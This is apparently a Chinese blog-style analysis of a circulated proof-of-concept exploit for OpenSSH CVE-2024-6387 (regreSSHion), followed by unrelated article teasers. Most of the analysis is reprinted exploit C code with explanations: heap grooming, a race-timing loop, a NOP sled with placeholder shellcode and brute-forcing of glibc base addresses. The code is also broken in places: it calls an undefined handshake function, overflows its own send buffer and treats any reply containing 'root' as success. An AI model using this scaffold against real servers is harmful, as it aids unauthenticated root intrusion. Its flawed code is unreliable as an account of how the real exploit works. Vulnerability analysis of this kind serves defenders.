漏洞分析|OpenSSH漏洞(CVE-2024-6387)

一、网传漏洞POC信息

漏洞编号:CVE-2024-6387

漏洞名称:OpenSSH regreSSHion 漏洞

POC上传者(作者不确定):7etsuo

发布日期:2024-07-01

漏洞类型:远程代码执行(RCE)

影响范围:8.5p1 <= OpenSSH < 9.8p1,OpenBSD系统不受该漏洞影响

二、漏洞描述

CVE-2024-6387 是OpenSSH中的一个漏洞,它利用了OpenSSH服务器(sshd)在glibc库中的一个信号处理程序中的竞态条件漏洞。具体来说,当SIGALRM信号处理程序调用了异步信号不安全的函数时,导致了远程代码执行(RCE)的可能性。攻击者可以利用此漏洞在目标系统上以root权限执行任意代码。

成功利用该漏洞的攻击者可以以 root 身份进行未经身份验证的远程代码执行 (RCE),在某些特定版本的 32 位操作系统上,攻击者最短需 6-8 小时即可获得最高权限的 root shell。而在 64 位机器上,目前没有在可接受时间内的利用方案,但未来的改进可能使其成为现实。

三、漏洞原理

该漏洞的根源在于OpenSSH服务器的SIGALRM信号处理程序中的异步信号不安全函数调用。攻击者通过精确的时间控制和多次尝试,触发了竞态条件,从而在系统中执行了恶意代码。具体来说,攻击者利用了信号处理程序在处理信号时的脆弱性,通过精确调整休眠时间和发送特制的payload,最终绕过了安全保护机制,实现了远程代码执行。这种竞态条件利用需要多次尝试和精确的时间控制,以确保在正确的时间窗口内触发漏洞。

网传备注:尽管通过Qualys测试这个漏洞利用的效果看起来非常麻烦:在本地虚拟机环境“平均需要尝试约10,000次才能成功,约需3-4小时,而由于ASLR,每次实验成功率只有一半,因此平均需要6-8小时才能获得远程root shell”。

四、利用代码分析

1. 文件头部注释

/** 7etsuo-regreSSHion.c * ------------------------------------------------------------------------- * SSH-2.0-OpenSSH_9.2p1 Exploit * ------------------------------------------------------------------------- * * Exploit Title  : SSH Exploit for CVE-2024-6387 (regreSSHion) * Author         : 7etsuo * Date           : 2024-07-01 * * Description: * Targets a signal handler race condition in OpenSSH's * server (sshd) on glibc-based Linux systems. It exploits a vulnerability * where the SIGALRM handler calls async-signal-unsafe functions, leading * to rce as root. * * Notes: * 1. Shellcode        : Replace placeholder with actual payload. * 2. GLIBC_BASES      : Needs adjustment for specific target systems. * 3. Timing parameters: Fine-tune based on target system responsiveness. * 4. Heap layout      : Requires tweaking for different OpenSSH versions. * 5. File structure offsets: Verify for the specific glibc version. * ------------------------------------------------------------------------- */

文件头部详细描述了漏洞的基本信息,包括漏洞编号、漏洞名称、作者、发布日期、漏洞类型和影响范围。同时,还对漏洞的原理和利用方法进行了简要说明。

2. 包含的头文件

#include <stdlib.h>#include <unistd.h>#include <time.h>#include <string.h>#include <errno.h>#include <fcntl.h>#include <stdint.h>#include <stdio.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>

这些头文件包含了标准库函数和网络编程所需的函数和类型,如 socket、connect、send 等。

3. 定义宏和全局变量

#define MAX_PACKET_SIZE (256 * 1024)#define LOGIN_GRACE_TIME 120#define MAX_STARTUPS 100#define CHUNK_ALIGN(s) (((s) + 15) & ~15)// Possible glibc base addresses (for ASLR bypass)uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);// Shellcode placeholder (replace with actual shellcode)unsigned char shellcode[] = "\\x90\\x90\\x90\\x90";
MAX_PACKET_SIZE:定义最大数据包大小为256KB。LOGIN_GRACE_TIME:定义登录宽限时间为120秒。MAX_STARTUPS:定义最大启动数为100。CHUNK_ALIGN:定义一个宏用于内存对齐。GLIBC_BASES:定义可能的glibc基地址,用于绕过ASLR(地址空间布局随机化)。shellcode:定义一个占位符shellcode,需要替换为实际的payload。

4. 函数声明

int setup_connection (const char *ip, int port);void send_packet (int sock, unsigned char packet_type, const unsigned char *data, size_t len);void prepare_heap (int sock);void time_final_packet (int sock, double *parsing_time);int attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base);

这些是函数的前向声明,用于后续的函数定义。它们分别用于设置连接、发送数据包、准备堆、测量数据包解析时间和尝试利用竞态条件。

5. 函数实现

5.1 设置连接

int setup_connection (const char *ip, int port){  int sock;  struct sockaddr_in server_addr;sock = socket (AF_INET, SOCK_STREAM, 0);  if (sock < 0)    {      perror ("socket");      return -1;    }server_addr.sin_family = AF_INET;  server_addr.sin_port = htons (port);  server_addr.sin_addr.s_addr = inet_addr (ip);if (connect (sock, (struct sockaddr *)&server_addr, sizeof (server_addr)) < 0)    {      perror ("connect");      close (sock);      return -1;    }return sock;}

这个函数用于创建一个TCP连接到目标IP和端口。具体步骤如下:

创建一个TCP socket。

设置服务器地址,包括IP和端口。

尝试连接到服务器,如果失败则返回错误。

5.2 发送数据包

void send_packet (int sock, unsigned char packet_type, const unsigned char *data, size_t len){  unsigned char buffer[MAX_PACKET_SIZE];  memset (buffer, 0, sizeof (buffer));  buffer[0] = packet_type;  memcpy (buffer + 1, data, len);  send (sock, buffer, len + 1, 0);}

这个函数用于通过socket发送一个数据包。具体步骤如下:

定义一个缓冲区,并清零。

将数据包类型放入缓冲区的第一个字节。

将数据复制到缓冲区中。

通过socket发送缓冲区的数据。

5.3 准备堆

void prepare_heap (int sock){  unsigned char buf[MAX_PACKET_SIZE];  memset(buf, 0x41, sizeof(buf)); // 填充缓冲区,模拟堆布局  send_packet(sock, 0, buf, sizeof(buf)); // 发送填充数据包}

这个函数的作用是通过发送大量填充数据包来准备堆布局。代码中的实现通过将缓冲区填充为特定字符(0x41)并发送数据包来达到这个目的。这有助于在目标系统上触发特定的内存布局,以便后续的竞态条件利用能够成功。

5.4 测量数据包解析时间

void time_final_packet (int sock, double *parsing_time){  struct timespec start, end;  unsigned char buf[256];  memset(buf, 0, sizeof(buf));clock_gettime(CLOCK_MONOTONIC, &start); // 记录开始时间  send_packet(sock, 1, buf, sizeof(buf)); // 发送一个小数据包  recv(sock, buf, sizeof(buf), 0); // 接收服务器的响应  clock_gettime(CLOCK_MONOTONIC, &end); // 记录结束时间*parsing_time = (end.tv_sec - start.tv_sec) + (end.tv_nsec - start.tv_nsec) / 1000000000.0; // 计算解析时间}

这个函数用于测量最后一个数据包的解析时间。通过记录发送和接收数据包的时间差,确定数据包的解析时间。这对于竞态条件利用非常关键,因为攻击者需要精确控制时间来触发漏洞。

5.5 尝试利用竞态条件详细分析

这个函数 attempt_race_condition 试图利用竞态条件来触发漏洞,实现远程代码执行。下面是对该函数的详细分析:

int attempt_race_condition (int sock, double parsing_time, uint64_t glibc_base){  struct timespec req, rem;  unsigned char payload[256];// 创建包含shellcode的payload  memset(payload, 0x90, sizeof(payload)); // 填充NOP指令  memcpy(payload + sizeof(payload) - sizeof(shellcode), shellcode, sizeof(shellcode)); // 插入shellcodereq.tv_sec = (time_t)parsing_time;  req.tv_nsec = (parsing_time - req.tv_sec) * 1000000000;nanosleep(&req, &rem); // 休眠以精确控制时间send_packet(sock, 2, payload, sizeof(payload)); // 发送包含shellcode的payload// 验证是否成功  if (recv(sock, payload, sizeof(payload), 0) > 0)    {      if (strstr((char *)payload, "root") != NULL)        return 1; // 成功    }return 0; // 失败}

详细解释

定义和初始化变量

struct timespec req, rem;unsigned char payload[256];
req 和 rem 是 timespec 结构体,用于指定和保存休眠时间。payload 是一个 256 字节的缓冲区,用于存放恶意负载数据。

创建包含shellcode的payload

memset(payload, 0x90, sizeof(payload)); // 填充NOP指令memcpy(payload + sizeof(payload) - sizeof(shellcode), shellcode, sizeof(shellcode)); // 插入shellcodememset(payload, 0x90, sizeof(payload));:使用 0x90 (NOP 指令) 填充整个缓冲区。NOP 指令不会执行任何操作,只是继续执行下一条指令。这种填充方式称为 NOP sled,用于确保在代码执行过程中滑向实际的 shellcode。memcpy(payload + sizeof(payload) - sizeof(shellcode), shellcode, sizeof(shellcode));:将实际的 shellcode 插入到缓冲区的末尾。

计算并设置休眠时间

req.tv_sec = (time_t)parsing_time;req.tv_nsec = (parsing_time - req.tv_sec) * 1000000000;req.tv_sec:将 parsing_time 转换为秒部分。req.tv_nsec:将 parsing_time 的小数部分转换为纳秒。

休眠以精确控制时间

nanosleep(&req, &rem); // 休眠以精确控制时间nanosleep(&req, &rem);:使用纳秒级的精确度休眠指定的时间。这对于利用竞态条件非常关键,因为攻击者需要在正确的时间窗口内执行恶意代码。

发送包含shellcode的payload

send_packet(sock, 2, payload, sizeof(payload)); // 发送包含shellcode的payloadsend_packet(sock, 2, payload, sizeof(payload));:通过 socket 发送包含 shellcode 的数据包。

验证是否成功

if (recv(sock, payload, sizeof(payload), 0) > 0)  {    if (strstr((char *)payload, "root") != NULL)      return 1; // 成功  }return 0; // 失败recv(sock, payload, sizeof(payload), 0) > 0:尝试从目标系统接收响应数据。如果接收到的数据长度大于 0,表示目标系统有响应。if (strstr((char *)payload, "root") != NULL):检查接收到的数据是否包含 "root" 字符串。如果包含,表示成功获得目标系统的 root 权限,返回 1。

如果没有接收到包含 “root” 字符串的响应,则返回 0,表示尝试失败。

6. 漏洞利用主函数

int perform_exploit (const char *ip, int port){  int success = 0;  double parsing_time = 0;  double timing_adjustment = 0;for (int base_idx = 0; base_idx < NUM_GLIBC_BASES && !success; base_idx++)    {      uint64_t glibc_base = GLIBC_BASES[base_idx];      printf ("Attempting exploitation with glibc base: 0x%lx\n", glibc_base);for (int attempt = 0; attempt < 10000 && !success; attempt++)        {          if (attempt % 1000 == 0)            {              printf ("Attempt %d of 10000\n", attempt);            }int sock = setup_connection (ip, port);          if (sock < 0)            {              fprintf (stderr, "Failed to establish connection, attempt %d\n", attempt);              continue;            }if (perform_ssh_handshake (sock) < 0)            {              fprintf (stderr, "SSH handshake failed, attempt %d\n", attempt);              close (sock);              continue;            }prepare_heap (sock);          time_final_packet (sock, &parsing_time);parsing_time += timing_adjustment;if (attempt_race_condition (sock, parsing_time, glibc_base))            {              printf ("Possible exploitation success on attempt %d with glibc base 0x%lx!\n",                      attempt, glibc_base);              success = 1;            }          else            {              timing_adjustment += 0.00001;            }close (sock);          usleep (100000); // 100ms delay between attempts        }    }return success;}

这个主函数是整个漏洞利用的核心部分。它执行以下步骤:

初始化变量 success、parsing_time 和 timing_adjustment。

循环遍历可能的glibc基地址。

对每个基地址进行多次尝试,每次尝试时:

设置与目标的连接。

执行SSH握手。

准备堆布局。

测量最后一个数据包的解析时间。

尝试利用竞态条件。

如果成功,打印成功信息并退出循环;否则,调整定时参数并继续尝试。

通过这种方法,攻击者能够逐步调整定时参数和尝试不同的glibc基地址,以期成功利用漏洞并获得目标系统的控制权。

五、漏洞修复建议

更新软件:及时更新OpenSSH到最新版本,包含所有安全补丁。

监控日志:定期检查系统日志,发现异常登录或访问行为。

最小权限:确保系统上的服务运行在最小权限用户下,降低潜在风险。

六、参考文档

https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server

https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt

https://mp.weixin.qq.com/s/yptQH9xo5d8Acjw29B_kmg

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/40572.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

昇思MindSpore学习笔记3-03热门LLM及其他AI应用--基于MobileNetv2的垃圾分类

摘要&#xff1a; MindSpore AI框架使用MobileNetv2模型开发垃圾分检代码。检测本地图像中的垃圾物体&#xff0c;保存检测结果到文件。记录了开发过程和步骤&#xff0c;包括环境准备、数据下载、加载和预处理、模型搭建、训练、测试、推理应用等。 1、实验目的 了解垃圾分…

解决pip默认安装位置在C盘方法

新版python中使用pip命令将opencv库安装到base环境中 首先我们打开命令控制窗口&#xff0c;激活base环境&#xff0c;输入conda activate base 然后检查一下自己base环境中是否安装opencv库&#xff0c;输入conda list 往下找&#xff0c;找到o开头的地方&#xff0c;发现是…

达梦数据库 页大小与数据库字段长度的关系

对于达梦数据库实例而言&#xff0c;页大小 (page_size)、簇大小 (extent_size)、大小写敏感 (case_sensitive)、字符集 (charset) 这四个参数&#xff0c;一旦确定无法修改&#xff1b;如果过程中发现这些数据设置的不对&#xff0c;只能是重新新建数据库实例&#xff0c;而不…

GraphQL与RESTful API的区别和优势

GraphQL GraphQL是一种用于API设计的语言和查询协议&#xff0c;由Facebook于2015年推出。它允许客户端向服务器指定他们需要的数据字段&#xff0c;而不是像RESTful API那样请求整个资源然后过滤数据。在GraphQL中&#xff0c;客户端发送一个单一的请求&#xff0c;而服务器返…

通过npm安装OpenLayers库,vue3+ts环境下OpenLayers实现加载本地高德离线地图并添加标记点、标记点气泡及标记点气泡按钮事件

在Vue 3和TypeScript的环境下使用OpenLayers来加载高德地图的离线瓦片&#xff0c;并添加标记点、标记点气泡以及处理气泡上的按钮事件&#xff0c;涉及到几个步骤。首先&#xff0c;需要明确高德地图的瓦片数据格式和如何配置OpenLayers以使用这些瓦片。接着&#xff0c;我们需…

零信任沙箱是什么?零信任沙箱有什么作用?

零信任沙箱是什么&#xff1f;零信任沙箱有什么作用&#xff1f; 在当今数字化时代&#xff0c;数据安全已成为各行各业的核心关注点。零信任沙箱作为一种新兴的安全技术&#xff0c;不仅适用于政府和金融等关键领域&#xff0c;其实用性覆盖了更广泛的场景&#xff0c;如医疗…

数智化配补调:零售品牌增长新引擎

随着科技的不断进步和消费者需求的日益个性化、多元化&#xff0c;传统服装行业正面临着前所未有的挑战与机遇。在这个快速变化的时代&#xff0c;如何精准把握市场脉搏&#xff0c;实现库存的高效管理&#xff0c;成为了服装品牌生存与发展的关键。数智化配补调策略应运而生&a…

mysql定时备份数据库

文章目录 核心目标思路具体方法一、编写脚本二、修改文件属性三、找一个mysqldump文件四、把.sh放到定时器里 其它&#xff1a;windows的脚本 核心目标 解决数据库定时备份的工作。centos环境。 思路 用centos的crontab定时执行脚本。 具体方法 一、编写脚本 编写backup_…

精准控制:Eureka服务续约间隔配置全指南

精准控制&#xff1a;Eureka服务续约间隔配置全指南 在微服务架构中&#xff0c;服务的发现与注册是确保服务间有效通信的关键。Eureka&#xff0c;作为Netflix开源的服务发现框架&#xff0c;提供了一种优雅的方式来实现服务的注册与发现。然而&#xff0c;服务续约间隔的配置…

vue单独部署到宝塔教程

配置反向代理 注意:如果目标网站是https则写https否则写http 2.关于解决部署后无法刷新,直接报错404 location / { try_files $uri $uri/ /index.html; }

程序员鱼皮的保姆级写简历指南第三弹,简历常见问题和建议汇总

大家好&#xff0c;我是程序员鱼皮。做知识分享这些年来&#xff0c;我看过太多简历、也帮忙修改过很多的简历&#xff0c;发现很多同学是完全不会写简历的、会犯很多常见的问题&#xff0c;不能把自己的优势充分展示出来&#xff0c;导致错失了很多面试机会&#xff0c;实在是…

PostgreSQL LIMIT 子句

PostgreSQL LIMIT 子句 PostgreSQL 是一种功能强大的开源对象关系数据库管理系统&#xff0c;广泛用于各种应用中。在处理大量数据时&#xff0c;我们通常只需要检索部分记录&#xff0c;而不是整个数据集。这时&#xff0c;LIMIT 子句就变得非常有用。本文将详细介绍 Postgre…

代码随想录Day74(图论Part10)

94. 城市间货物运输| &#xff08;Bellman_ford队列优化版 / SPFA&#xff09; 题目&#xff1a;94. 城市间货物运输 I (kamacoder.com) 思路&#xff1a; Bellman_ford 算法 每次都是对所有边进行松弛&#xff0c;其实是多做了一些无用功。 只需要对 上一次松弛的时候更新过的…

p6spy 组件打印完整的 SQL 语句、执行耗时

一、前言 我们来配置一下 Mybatis Plus 打印 SQL 功能&#xff08;包括执行耗时&#xff09;&#xff0c;一方面可以了解到每个操作都具体执行的什么 SQL 语句&#xff0c; 另一方面通过打印执行耗时&#xff0c;也可以提前发现一些慢 SQL&#xff0c;提前做好优化&#xff0c…

layui中添加上下文提示弹窗

<p context-tip"自定义上下文提示信息">段落内容...</p> <div context-tip"自定义上下文提示信息">div内容...</div>// 悬浮提示 $("body").on("mouseenter", "*[context-tip]", function () {v…

操作系统僵尸进程、CFS、上下文切换

进程 Linux的进程调度 CFS 完全公平调度算法 权重和nice值 权重&#xff1a;权重越大&#xff0c;分配的时间比例越大&#xff0c;就相当于进程的优先级越高。 进程的时间 C P U 总时间 ∗ 进程的权重 / 就绪队列所有进程权重之和 进程的时间 CPU总时间 * 进程的权重/就绪…

电脑鼠标一直转圈圈怎么处理?对症下药,分享6种方法

在使用电脑的过程中&#xff0c;鼠标一直转圈圈是一个常见且令人困扰的问题。这种情况通常意味着系统正在处理某些任务&#xff0c;但如果持续时间过长&#xff0c;可能表明系统存在性能问题或错误。本文将详细探讨鼠标一直转圈圈的常见原因及其解决方法。 摘要 电脑鼠标一直转…

概述:监督学习(分类,回归)与无监督学习(聚类)

目录&#xff1a; 一、监督学习&#xff1a;1.什么是监督学习&#xff1a;2.监督学习类型: 二、无监督学习1.什么是无监督学习&#xff1a;2.无监督学习类型: 一、监督学习&#xff1a; 1.什么是监督学习&#xff1a; 当前创造市场价值的机器学习中99%都是监督学习。监督学习…

Django实现部门管理功能

在这篇文章中,我们将介绍如何使用Django框架实现一个简单的部门管理功能。这个功能包括部门列表展示、添加新部门、编辑和删除部门等操作。 1. 项目设置 首先,确保你已经安装了Django并创建了一个新的Django项目。在项目中,我们需要创建一个名为​​app01​​的应用。 2.…

【前端项目笔记】8 订单管理

订单管理 效果展示&#xff1a; 在开发功能之前先创建分支order cls 清屏 git branch 查看所有分支&#xff08;*代表当前分支&#xff09; git checkout -b order 新建分支order git push -u origin order 将本地的当前分支提交到云端仓库origin中命名为order 通过路由方式…